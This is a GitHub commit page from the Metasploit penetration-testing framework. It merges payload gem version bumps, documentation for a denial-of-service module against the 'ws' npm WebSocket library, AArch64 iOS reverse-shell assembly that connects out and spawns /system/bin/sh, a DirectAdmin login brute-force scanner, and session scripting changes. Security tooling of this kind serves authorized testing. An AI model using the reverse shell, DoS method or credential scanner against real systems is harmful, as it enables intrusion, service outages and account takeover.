Skip to content

Commit cf21d13

Browse files
committed
Resolve conflict
2 parents 741d08f + 1975713 commit cf21d13

File tree

76 files changed

+866
-149
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

76 files changed

+866
-149
lines changed

Gemfile.lock

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.19)
20+
metasploit-payloads (= 1.3.23)
2121
metasploit_data_models
22-
metasploit_payloads-mettle (= 0.3.2)
22+
metasploit_payloads-mettle (= 0.3.3)
2323
mqtt
2424
msgpack
2525
nessus_rest
@@ -178,7 +178,7 @@ GEM
178178
activemodel (~> 4.2.6)
179179
activesupport (~> 4.2.6)
180180
railties (~> 4.2.6)
181-
metasploit-payloads (1.3.19)
181+
metasploit-payloads (1.3.23)
182182
metasploit_data_models (2.0.15)
183183
activerecord (~> 4.2.6)
184184
activesupport (~> 4.2.6)
@@ -189,7 +189,7 @@ GEM
189189
postgres_ext
190190
railties (~> 4.2.6)
191191
recog (~> 2.0)
192-
metasploit_payloads-mettle (0.3.2)
192+
metasploit_payloads-mettle (0.3.3)
193193
method_source (0.9.0)
194194
mini_portile2 (2.3.0)
195195
minitest (5.10.3)
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
ws < 1.1.5 || (2.0.0 , 3.3.1)
3+
https://nodesecurity.io/advisories/550
4+
5+
## Vulnerable Analysis
6+
This module exploits a Denial of Service vulnerability in npm module "ws".
7+
By sending a specially crafted value of the Sec-WebSocket-Extensions header
8+
on the initial WebSocket upgrade request, the ws component will crash.
9+
10+
## Verification Steps
11+
1. Start the vulnerable server using the sample server code below `node server.js`
12+
2. Start `msfconsole`
13+
3. `use auxiliary/dos/http/ws_dos`
14+
4. `set RHOST <IP>`
15+
5. `run`
16+
6. The server should crash
17+
18+
## Options
19+
None.
20+
21+
## Scenarios
22+
23+
## Server output from crash
24+
```
25+
/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40
26+
paramsList.push(parsedParams);
27+
^
28+
29+
TypeError: paramsList.push is not a function
30+
at value.split.forEach (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40:16)
31+
at Array.forEach (<anonymous>)
32+
at Object.parse (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:15:20)
33+
at WebSocketServer.completeUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:230:30)
34+
at WebSocketServer.handleUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:197:10)
35+
at Server.WebSocketServer._ultron.on (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:87:14)
36+
at emitThree (events.js:136:13)
37+
at Server.emit (events.js:217:7)
38+
at onParserExecuteCommon (_http_server.js:495:14)
39+
at onParserExecute (_http_server.js:450:3)
40+
```
41+
42+
## Sample server
43+
```
44+
const WebSocket = require('ws');
45+
const wss = new WebSocket.Server(
46+
{ port: 3000 }
47+
);
48+
wss.on('connection', function connection(ws) {
49+
console.log('connected');
50+
ws.on('message', function incoming(message)
51+
{ console.log('received: %s', message); }
52+
);
53+
ws.on('error', function (err)
54+
{ console.error(err); }
55+
);
56+
});
57+
```
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
.equ SYS_SOCKET, 0x61
2+
.equ SYS_CONNECT, 0x62
3+
.equ SYS_DUP2, 0x5a
4+
.equ SYS_EXECVE, 0x3b
5+
.equ SYS_EXIT, 0x01
6+
7+
.equ AF_INET, 0x2
8+
.equ SOCK_STREAM, 0x1
9+
10+
.equ STDIN, 0x0
11+
.equ STDOUT, 0x1
12+
.equ STDERR, 0x2
13+
14+
.equ IP, 0x0100007f
15+
.equ PORT, 0x5C11
16+
17+
_start:
18+
// sockfd = socket(AF_INET, SOCK_STREAM, 0)
19+
mov x0, AF_INET
20+
mov x1, SOCK_STREAM
21+
mov x2, 0
22+
mov x16, SYS_SOCKET
23+
svc 0
24+
mov x3, x0
25+
26+
// connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
27+
adr x1, sockaddr
28+
mov x2, 0x10
29+
mov x16, SYS_CONNECT
30+
svc 0
31+
cbnz w0, exit
32+
33+
// dup2(sockfd, STDIN) ...
34+
mov x0, x3
35+
mov x2, 0
36+
mov x1, STDIN
37+
mov x16, SYS_DUP2
38+
svc 0
39+
mov x1, STDOUT
40+
mov x16, SYS_DUP2
41+
svc 0
42+
mov x1, STDERR
43+
mov x16, SYS_DUP2
44+
svc 0
45+
46+
// execve('/system/bin/sh', NULL, NULL)
47+
adr x0, shell
48+
mov x2, 0
49+
str x0, [sp, 0]
50+
str x2, [sp, 8]
51+
mov x1, sp
52+
mov x16, SYS_EXECVE
53+
svc 0
54+
55+
exit:
56+
mov x0, 0
57+
mov x16, SYS_EXIT
58+
svc 0
59+
60+
.balign 4
61+
sockaddr:
62+
.short AF_INET
63+
.short PORT
64+
.word IP
65+
66+
shell:
67+
.word 0x00000000
68+
.word 0x00000000
69+
.word 0x00000000
70+
.word 0x00000000
71+
end:
72+
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
class DirectAdmin < HTTP
8+
9+
DEFAULT_PORT = 443
10+
PRIVATE_TYPES = [ :password ]
11+
12+
13+
# Checks if the target is Direct Admin Web Control Panel. The login module should call this.
14+
#
15+
# @return [Boolean] TrueClass if target is DAWCP, otherwise FalseClass
16+
def check_setup
17+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
18+
res = send_request({'uri'=> login_uri})
19+
20+
if res && res.body.include?('DirectAdmin Login')
21+
return true
22+
end
23+
24+
false
25+
end
26+
27+
28+
# Returns the latest sid from DirectAdmin Control Panel
29+
#
30+
# @return [String] The PHP Session ID for DirectAdmin Web Control login
31+
def get_last_sid
32+
@last_sid ||= lambda {
33+
# We don't have a session ID. Well, let's grab one right quick from the login page.
34+
# This should probably only happen once (initially).
35+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
36+
res = send_request({'uri' => login_uri})
37+
38+
return '' unless res
39+
40+
cookies = res.get_cookies
41+
@last_sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
42+
}.call
43+
end
44+
45+
46+
# Actually doing the login. Called by #attempt_login
47+
#
48+
# @param username [String] The username to try
49+
# @param password [String] The password to try
50+
# @return [Hash]
51+
# * :status [Metasploit::Model::Login::Status]
52+
# * :proof [String] the HTTP response body
53+
def get_login_state(username, password)
54+
# Prep the data needed for login
55+
sid = get_last_sid
56+
protocol = ssl ? 'https' : 'http'
57+
peer = "#{host}:#{port}"
58+
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
59+
60+
res = send_request({
61+
'uri' => login_uri,
62+
'method' => 'POST',
63+
'cookie' => sid,
64+
'headers' => {
65+
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
66+
},
67+
'vars_post' => {
68+
'username' => username,
69+
'password' => password,
70+
'referer' => '%2F'
71+
}
72+
})
73+
74+
unless res
75+
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.to_s}
76+
end
77+
78+
# After login, the application should give us a new SID
79+
cookies = res.get_cookies
80+
sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
81+
@last_sid = sid # Update our SID
82+
83+
if res.headers['Location'].to_s.include?('/') && !sid.blank?
84+
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.to_s}
85+
end
86+
87+
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.to_s}
88+
end
89+
90+
91+
# Attempts to login to DirectAdmin Web Control Panel. This is called first.
92+
#
93+
# @param credential [Metasploit::Framework::Credential] The credential object
94+
# @return [Result] A Result object indicating success or failure
95+
def attempt_login(credential)
96+
result_opts = {
97+
credential: credential,
98+
status: Metasploit::Model::Login::Status::INCORRECT,
99+
proof: nil,
100+
host: host,
101+
port: port,
102+
protocol: 'tcp',
103+
service_name: ssl ? 'https' : 'http'
104+
}
105+
106+
begin
107+
result_opts.merge!(get_login_state(credential.public, credential.private))
108+
rescue ::Rex::ConnectionError => e
109+
# Something went wrong during login. 'e' knows what's up.
110+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e.message)
111+
end
112+
113+
Result.new(result_opts)
114+
end
115+
116+
end
117+
end
118+
end
119+
end

lib/msf/base/sessions/hwbridge.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/base'
4-
4+
require 'msf/base/sessions/scriptable'
55
require 'rex/post/hwbridge'
66

77
module Msf
@@ -24,6 +24,7 @@ class HWBridge < Rex::Post::HWBridge::Client
2424
# This interface supports interactive commands.
2525
#
2626
include Msf::Session::Interactive
27+
include Msf::Session::Scriptable
2728

2829
#
2930
# Initialize the HWBridge console

lib/msf/base/sessions/meterpreter.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -302,11 +302,15 @@ def desc
302302
##
303303
# :category: Msf::Session::Scriptable implementors
304304
#
305-
# Runs the meterpreter script in the context of a script container
305+
# Runs the Meterpreter script or resource file
306306
#
307307
def execute_file(full_path, args)
308-
o = Rex::Script::Meterpreter.new(self, full_path)
309-
o.run(args)
308+
# Infer a Meterpreter script by it having an .rb extension
309+
if File.extname(full_path) == ".rb"
310+
Rex::Script::Meterpreter.new(self, full_path).run(args)
311+
else
312+
console.load_resource(full_path)
313+
end
310314
end
311315

312316

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_aarch64_Apple_iOS < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'apple_ios'
23+
self.base_arch = ARCH_AARCH64
24+
end
25+
end
26+
27+
end
28+
end
29+

lib/msf/base/sessions/scriptable.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -164,13 +164,17 @@ def execute_script(script_name, *args)
164164
else
165165
full_path = self.class.find_script_path(script_name)
166166

167-
# No path found? Weak.
168167
if full_path.nil?
169168
print_error("The specified script could not be found: #{script_name}")
170-
return true
169+
return
170+
end
171+
172+
begin
173+
execute_file(full_path, args)
174+
framework.events.on_session_script_run(self, full_path)
175+
rescue StandardError => e
176+
print_error("Could not execute #{script_name}: #{e.class} #{e}")
171177
end
172-
framework.events.on_session_script_run(self, full_path)
173-
execute_file(full_path, args)
174178
end
175179
end
176180

0 commit comments

Comments
 (0)